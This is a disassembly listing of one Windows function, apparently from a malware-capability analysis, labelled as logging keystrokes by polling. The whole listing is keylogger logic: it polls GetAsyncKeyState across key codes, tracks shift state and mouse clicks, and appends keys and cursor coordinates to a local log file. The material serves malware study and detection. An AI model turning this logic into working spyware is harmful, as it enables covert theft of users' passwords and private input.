Function at 0x140001877
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov byte [rbp - 1], 8
movsx eax, byte [rbp - 1]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
jne 0x140001cfe
lea rax, [0x14000b07f]
mov rdx, rax
lea rax, [0x14000f040]
mov rcx, rax
call sym.fopen
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x1400018d9
lea rax, str.Failed_to_open_log_file
mov rcx, rax
call sym.perror
mov ecx, 1
call sym.exit
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
movzx eax, al
mov dword [rbp - 0x14], eax
lea rax, [rbp - 0x1c]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetCursorPos]
call rax
cmp byte [rbp - 1], 0x40
jle 0x14000193f
cmp byte [rbp - 1], 0x5a
jg 0x14000193f
cmp dword [rbp - 0x14], 0
jne 0x14000193f
movzx eax, byte [rbp - 1]
add eax, 0x20
mov byte [rbp - 1], al
movsx eax, byte [rbp - 1]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
call sym.fputc
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.fclose
jmp 0x140001cf9
cmp byte [rbp - 1], 0x40
jle 0x14000196b
cmp byte [rbp - 1], 0x5a
jg 0x14000196b
movsx eax, byte [rbp - 1]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
call sym.fputc
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.fclose
jmp 0x140001cf9
movsx eax, byte [rbp - 1]
cmp eax, 0x39
ja case.0x140001998.0
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x14000b120]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x14000b120]
add rax, rdx
jmp rax
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 6
mov edx, 1
lea rax, str._n_UP__n
mov rcx, rax
call sym.fwrite
jmp 0x140001ceb
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 8
mov edx, 1
lea rax, str._n_DOWN__n
mov rcx, rax
call sym.fwrite
jmp 0x140001ceb
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 8
mov edx, 1
lea rax, str._n_LEFT__n
mov rcx, rax
call sym.fwrite
jmp 0x140001ceb
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 9
mov edx, 1
lea rax, str._n_RIGHT__n
mov rcx, rax
call sym.fwrite
jmp 0x140001ceb
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 6
mov edx, 1
lea rax, str._CTRL
mov rcx, rax
call sym.fwrite
jmp 0x140001ceb
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 5
mov edx, 1
lea rax, str._ALT
mov rcx, rax
call sym.fwrite
jmp 0x140001ceb
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 7
mov edx, 1
lea rax, str._n_ESC__n
mov rcx, rax
call sym.fwrite
jmp 0x140001ceb
mov ecx, dword [rbp - 0x18]
mov edx, dword [rbp - 0x1c]
mov rax, qword [rbp - 0x10]
mov r9d, ecx
mov r8d, edx
lea rdx, str._n_LEFT_CLICK___ld___ld___n
mov rcx, rax
call dbg.fprintf
jmp 0x140001ceb
mov ecx, dword [rbp - 0x18]
mov edx, dword [rbp - 0x1c]
mov rax, qword [rbp - 0x10]
mov r9d, ecx
mov r8d, edx
lea rdx, str._n_RIGHT_CLICK___ld___ld___n
mov rcx, rax
call dbg.fprintf
jmp 0x140001ceb
cmp dword [rbp - 0x14], 0
je 0x140001af9
mov ecx, 0x29
jmp 0x140001afe
mov ecx, 0x30
mov rax, qword [rbp - 0x10]
mov rdx, rax
call sym.fputc
jmp 0x140001ceb
cmp dword [rbp - 0x14], 0
je 0x140001b1c
mov ecx, 0x21
jmp 0x140001b21
mov ecx, 0x31
mov rax, qword [rbp - 0x10]
mov rdx, rax
call sym.fputc
jmp 0x140001ceb
cmp dword [rbp - 0x14], 0
je 0x140001b3f
mov ecx, 0x40
jmp 0x140001b44
mov ecx, 0x32
mov rax, qword [rbp - 0x10]
mov rdx, rax
call sym.fputc
jmp 0x140001ceb
cmp dword [rbp - 0x14], 0
je 0x140001b62
mov ecx, 0x23
jmp 0x140001b67
mov ecx, 0x33
mov rax, qword [rbp - 0x10]
mov rdx, rax
call sym.fputc
jmp 0x140001ceb
cmp dword [rbp - 0x14], 0
je 0x140001b85
mov ecx, 0x24
jmp 0x140001b8a
mov ecx, 0x34
mov rax, qword [rbp - 0x10]
mov rdx, rax
call sym.fputc
jmp 0x140001ceb
cmp dword [rbp - 0x14], 0
je 0x140001ba8
mov ecx, 0x25
jmp 0x140001bad
mov ecx, 0x35
mov rax, qword [rbp - 0x10]
mov rdx, rax
call sym.fputc
jmp 0x140001ceb
cmp dword [rbp - 0x14], 0
je 0x140001bcb
mov ecx, 0x5e
jmp 0x140001bd0
mov ecx, 0x36
mov rax, qword [rbp - 0x10]
mov rdx, rax
call sym.fputc
jmp 0x140001ceb
cmp dword [rbp - 0x14], 0
je 0x140001bee
mov ecx, 0x26
jmp 0x140001bf3
mov ecx, 0x37
mov rax, qword [rbp - 0x10]
mov rdx, rax
call sym.fputc
jmp 0x140001ceb
cmp dword [rbp - 0x14], 0
je 0x140001c11
mov ecx, 0x2a
jmp 0x140001c16
mov ecx, 0x38
mov rax, qword [rbp - 0x10]
mov rdx, rax
call sym.fputc
jmp 0x140001ceb
cmp dword [rbp - 0x14], 0
je 0x140001c34
mov ecx, 0x28
jmp 0x140001c39
mov ecx, 0x39
mov rax, qword [rbp - 0x10]
mov rdx, rax
call sym.fputc
jmp 0x140001ceb
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, 0x20
call sym.fputc
jmp 0x140001ceb
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, 0xa
call sym.fputc
jmp 0x140001ceb
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 2
mov edx, 1
lea rax, [0x14000b106]
mov rcx, rax
call sym.fwrite
jmp 0x140001ceb
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 0xd
mov edx, 1
lea rax, str._n_BACKSPACE__n
mov rcx, rax
call sym.fwrite
jmp 0x140001ceb
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 7
mov edx, 1
lea rax, str._n_Del__n
mov rcx, rax
call sym.fwrite
jmp 0x140001ceb
movsx eax, byte [rbp - 1]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
call sym.fputc
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.fclose
jmp 0x140001cfe
jmp 0x14000187f
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x140001883